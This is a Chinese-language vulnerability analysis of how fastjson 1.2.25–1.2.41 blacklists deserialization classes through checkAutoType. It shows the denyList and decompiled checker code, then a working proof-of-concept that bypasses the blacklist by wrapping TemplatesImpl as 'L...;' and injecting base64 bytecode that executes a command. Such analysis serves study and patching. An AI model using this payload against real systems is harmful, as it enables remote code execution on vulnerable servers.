1.2.24 版本爆出反序列化漏洞之后，fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。
com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组，denyList中定义了反序列化的黑名单的类包名，1.2.25-1.2.41版本中会对以下包名进行过滤
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework在pom.xml文件中导入1.2.41版本的依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.41</version>
</dependency>这里直接把TemplatesImpl利用链的payload代码拿过来，运行之后会抛出异常，从异常信息来看fastjson在反序列化时checkAutoType函数对json数据的TemplatesImpl类的包名com.sun进行denyList黑名单校验。
相信大家对fastjson解析json的流程都比较熟悉了，我们来分析一下checkAutoType函数做了那些事情：
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//类名是否为空
if (typeName == null) {
return null;
//类全路径是否超过128字符
} else if (typeName.length() >= 128) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
int mask;
String accept;
//如果支持AutoType功能会进入这个if判断
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
//是否不支持AutoType功能
if (!this.autoTypeSupport) {
//先匹配黑名单
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
//进行黑名单过滤，抛出异常
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//再从白名单找
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//省略部分代码......
}
}checkAutoType函数首先会对json数据中type指定的类名的长度进行一些校验，然后接着判断是否开启AutoType功能，如果没有开启AutoType功能则会进行黑白名单的过滤，会先匹配黑名单denyList，如果className中的类包名在黑名单有过滤则会抛出异常。
很明显com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中的包名com.sun会在黑名单denyList中匹配到，于是抛出异常JSONException
从以上的分析过程中可以看到1.2.25版本之后fastjson修复了这个漏洞，并且在默认情况下不开启AutoType功能。也就是说，在绕过的时候必须手动开启AutoType功能，还需要将payload中json数据的type指定的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类进行了改造，在TemplatesImpl类的前面加了一个L，然后在TemplatesImpl类的后面再加一个;分号
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
//恶意类TempletaPoc转换成字节码，base64编码
String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
//构造TemplatesImpl的json数据，并将恶意类注入到json数据中
final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+byteCode+"\"]," +
"'_name':'TempletaPoc'," +
"'_tfactory':{}," +
"\"_outputProperties\":{}}\n";
System.out.println(payload);
//开启AutoType功能
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
}这里是使用的1.2.41版本进行测试，不过在1.2.24-1.2.41版本都能测试成功
在开启AutoType功能的情况下，checkAutoType函数还是会进行黑白名单过滤，由于我们在构造payload的时候在类名前面加了一个字母“L”，因此这里会绕过黑名单的过滤，接着调用TypeUtils.loadClass方法将TemplatesImpl类提取出来，生成类的class对象并返回。
TypeUtils.loadClass方法会判断类的名是否以字母“L”开头，并且以“;”分号结尾，然后调用loadClass方法加载TemplatesImpl类，返回class对象，这样就成功绕过。